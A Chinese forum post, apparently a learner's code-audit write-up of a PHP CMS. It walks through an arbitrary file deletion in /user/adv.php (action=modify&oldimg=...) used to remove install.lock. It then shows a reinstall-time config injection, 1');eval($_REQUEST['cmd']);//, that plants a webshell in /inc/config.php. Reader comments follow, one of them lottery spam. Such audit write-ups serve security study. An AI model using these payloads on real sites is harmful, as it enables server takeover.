前言:按照风哥说的代码审计进阶步骤
先看着文章跟着文章去审计cms
随便找了个cms探究了一下
还是很有收获的
然后写个文章顺便加深一下自己的感悟
cms的源码在附件里
先按照自己写的规则,用Seay进行一波自动审计
相对来说我们更偏向于在前台的漏洞
相对来说前台漏洞危害更大
后台漏洞在真实环境下
如果目标是一个强密码
还需要结合XSS漏洞这些来使用
前台则没有这么多限制
通过一波查找
漏洞点在 /user/adv.php
根据代码需要 $oldimg 不等于 $img
在 php 中 <>(尖括号对) 是不等于的意思 (尖括号对可能因为对XSS的过滤没输出出来)
向上追溯,查看一下 $oldimg 和 $img 都是什么
这里很明显,以REQUEST方式接受传参 oldimg
全文追踪
对其也没有任何其他处理
我们也可以在删除文件上面的那个地方输出一下 $oldimg
访问/user/adv.php会自动跳转到登录界面
这里应该是需要登录
于此同时我们看到了一条 exit
在注册页面有一个 个人,公司
说明这里注册时身份必须要填写公司才行
或者也可以抓包,改成其他值,反正不能是 “个人”
传参 oldimg
没反应…
再看代码,发现这里需要 $action==”modify”
再向上追朔一下 $action
居然也是我们任意传入的
然后再传入一下 action=modify
payload: action=modify&oldimg=abc
有反应了
然后这里我们尝试die一下$f
访问 /install 可以知道锁文件是 /install 下的 install.lock 文件
再构造一下 oldimg
然后删除掉 die 语句,刷新一下
成功删除掉锁文件
这个cms里写入的sql的用户名密码之类的是这样的
也没办法用双引号的变量解析
但是在写入变量的那里
不会对单引号进行转义
也就是没有开启魔术引号
其中防御文件在 /inc/stopsqlin.php
我们可以看到其中zc_check()函数会检测是否开启魔术引号
如果未开启,就对传参加上魔术引号,再返回
但是安装界面并未导入这个函数
这个CMS的账户名密码处必须填写正确的账户名密码
才会把内容写入到 /inc/config.php 文件
但是有一个框框,网站访问地址
这里可以写入我们的代码
构造payload写入到数据库访问地址处
1’);eval($_REQUEST[‘cmd’]);//
访问 /inc/config.php
连接蚁剑
成功 getshell
这也是脱离课堂之后第一次看文章审计的CMS
这个CMS里面还有sql注入漏洞(时间盲注)
大家可以自己尝试尝试,后续可能也会把sql注入这里写(水)一篇文章
第一次审计,里面很多点在探究为什么的时候还是有点烧脑的
这些传参有些地方为什么行为什么不行
虽然烧脑但是探究到其原因的时候心情还是很愉悦的
所谓知其然更要知其所以然
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 60.00 | 0 | 2022-07-12 20:08:59 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
woke
发表于 2022-7-15
继续努力吧
评论列表
加载数据中...
zhang3
发表于 2022-11-4
收藏=学会
评论列表
加载数据中...
amwusrso
发表于 2022-7-12
学习了
评论列表
加载数据中...
奥展
发表于 2022-7-19
的地方
评论列表
加载数据中...
1638429152
发表于 2022-10-25
可以可以
评论列表
加载数据中...
我很低调
发表于 2022-11-3
漂亮
评论列表
加载数据中...
Friday
发表于 2022-11-4
厉害厉害
评论列表
加载数据中...
龚奇晋
发表于 2022-11-16
Living for learn!
评论列表
加载数据中...
黑影
发表于 2023-6-6
1
评论列表
加载数据中...
spiao
发表于 2023-6-10
1
评论列表
加载数据中...
coteack888
发表于 2023-6-27
海枯石烂,或许只是远古的神话;超级大乐透 天荒地老,或许只是虚幻的誓言。但是,与你相守,福彩七乐彩 是我爱你爱的真真切切,我只求与你一同经历千年的轮回,爱你永远。波场时时彩时间拨弄想你的心弦,奏响爱你的缠绵,不管白天还是夜晚,从不曾有任何改变,经得起各种历练,只有一句话:永远。
评论列表
加载数据中...